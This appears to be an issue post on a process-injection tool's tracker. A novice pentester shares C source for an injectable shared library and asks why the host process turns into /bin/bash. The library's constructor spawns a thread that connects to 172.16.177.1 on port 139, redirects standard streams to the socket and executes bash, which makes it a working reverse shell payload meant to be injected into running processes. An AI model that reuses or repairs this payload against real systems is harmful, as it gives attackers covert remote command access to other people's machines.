kill injected process

[Sharyie]

hello,thanks for your code.
im a pentest noob,when i test this programmer,i find a issue. i rewrite the sample-library.c to back connect to my host,when i inject the .so to a normal process(like top),inject success and i received a reverse shell,but, the top process disappear,the pid dont change,but the process cmdline changed to /bin/bash,i think sample-library.c cause this.so could you please help me?this is my sample-library.c:

#include <stdio.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <pthread.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

static void * hello()
{
struct sockaddr_in server;
int sock;
char shell[]="/bin/bash";
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
return NULL;
}

server.sin_family = AF_INET;
server.sin_port = htons(139);
server.sin_addr.s_addr = inet_addr("172.16.177.1");
if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
    return NULL;
}
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,"/bin/bash",(char *)0);
close(sock);
printf("I just got loaded\n");
return NULL;

}

attribute((constructor))
void loadMsg()
{
pthread_t thread_id;
pthread_create(&thread_id,NULL,hello,NULL);
}